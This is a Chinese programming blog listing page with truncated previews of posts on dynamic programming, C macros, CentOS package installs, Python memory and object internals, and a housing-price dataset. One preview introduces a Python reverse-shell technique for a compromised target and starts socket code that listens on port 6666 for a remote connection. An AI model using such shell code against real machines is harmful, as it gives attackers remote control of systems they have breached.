最长子序列可以说是刚接触动态规划的人经常遇见也不得不解决的问题，最常见的有两种，一种是最长公共子序列（LCS），还有一个是最长上升子序列（LIS）。今天我就总结下这两个的做法。一：最长公共子序列（LCS）题目描述：给你两个数组，可以是数字的，也可以是字符串，我们假设是数字的！举个例子：X=1,5,6,4,1,3,7Y=1,1,6,8,3,4,7求一个新的数组S，该数组中的每个数均是X和Y数组中的公共数，并满足原数组中数字的前后关系，这样的数组有很多个，比如
系统 2019-08-12 01:54:08 2264
TimeLimit:500MSMemoryLimit:10000KTotalSubmissions:71191Accepted:16721本题总的来说并不是很难，但是却很麻烦，我在北大上做题时wrong了n次，最终总算通过了，我不知道大牛们是怎么做的，但是我的做法的确是很麻烦思想是：就是将输入的自然数a去掉小数点后，然后进行n次大整数相乘，每次的乘数是输入以后去掉小数点的a，被乘数是前面乘过以后的结果。在结束完n次以后将小数点加到合适的位置，并进行前后的除
系统 2019-08-12 01:51:27 2264
把你不需要验证的所有页放在一个目录下面，但是不用在那个目录下面的WEB.CONFG中对FROMS验证模式进行设置。只要在最上层的WEB.CONFIG中统一设置就可以了.比如下面的例子:一、设置所有页面都需要验证二、再特别设置
系统 2019-08-12 01:33:10 2264
在看《C语言高级编程》时，里面有个关于宏##的题目：1.已知#defineA“menu”#defineB“osd”,若请使用宏A,B表示出字符串”menuosd”答案：1答案1:#defineCAB答案2：#define_C_(a,b)a##b#defineC(a,b)_C_(a,b)然后我实际动手测试了一下，先来第一种：#include#defineA"menu"#defineB"osd"#defineSTRABintmain(inta
系统 2019-08-12 01:31:55 2264
(整合)Centos下安装nload_游戏运维我想我是海小海|mono进行时_百度空间-lexus-博客园##centos64bithttp://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.2-2.el5.rf.x86_64.rpm2--#rpm-ivhrpmforge-release-0.5.2-2.el5.rf.i386.rpm3--#yum-yinstallnloadrpmforg
系统 2019-08-12 01:31:48 2264
有的时候我们在获取到目标电脑时候如果对方电脑又python编译环境时可以利用python反弹shell主要用到pythonos库和sokect库这里的服务端在目标机上运行fromsocketimport*fromosimport*s=socket(AF_INET,SOCK_STREAM)#IVP4寻址tcp协议s.bind(('',6666))#补丁端口s.listen(1)#开始监听一个队列whileTrue:sock,addr=s.accept()#返
系统 2019-09-27 17:56:43 2263
Python中的sys模块极为基础而重要，它主要提供了一些给解释器使用（或由它维护）的变量，以及一些与解释器强交互的函数。本文将会频繁地使用该模块的getsizeof()方法，因此，我先简要介绍一下：该方法用于获取一个对象的字节大小（bytes）它只计算直接占用的内存，而不计算对象内所引用对象的内存这里有个直观的例子：importsysa=[1,2]b=[a,a]#即[[1,2],[1,2]]#a、b都只有两个元素，所以直接占用的大小相等sys.getsi
系统 2019-09-27 17:55:36 2263
本文较为详细的分析了了Python的对象体系。分享给大家供大家参考。具体如下：Guido用C语言创造了Python,在Python的世界中一切皆为对象.一.C视角中的Python对象让我们一起追溯到源头,Python由C语言实现,且向外提供了C的APIhttp://docs.python.org/c-api/index.html.我们思考问题的时候,可能对于对象这种东西很容易理解,而计算机能理解的只有0,1序列这样的字节序列,从根本上讲，我们所说的计算机语
系统 2019-09-27 17:54:54 2263
首先是数据源：#需要求加权平均值的数据列表elements=[]#对应的权值列表weights=[]使用numpy直接求：importnumpyasnpnp.average(elements,weights=weights)附纯python写法：#不使用numpy写法1round(sum([elements[i]*weights[i]foriinrange(n)])/sum(weights),1)#不使用numpy写法2round(sum([j[0]*j[
系统 2019-09-27 17:50:32 2263
一、要求boston房价数据是机器学习中著名的基础数据集，包含506条记录，每条记录包含房屋的13条属性，房价信息属性MEDV在boston.target中，具体（翻译成中文）可通过如下语句查看:print(boston.DESCR)各属性的中文解释如下：CRIM城镇人均犯罪率ZN占地面积超过25,000平方尺的住宅用地比例INDUS城镇中非商业用地比例CHASCharlesRiver虚拟变量（如果边界是河流则为1;否则为0）NOX一氧化氮浓度RM每栋住宅
系统 2019-09-27 17:50:16 2263
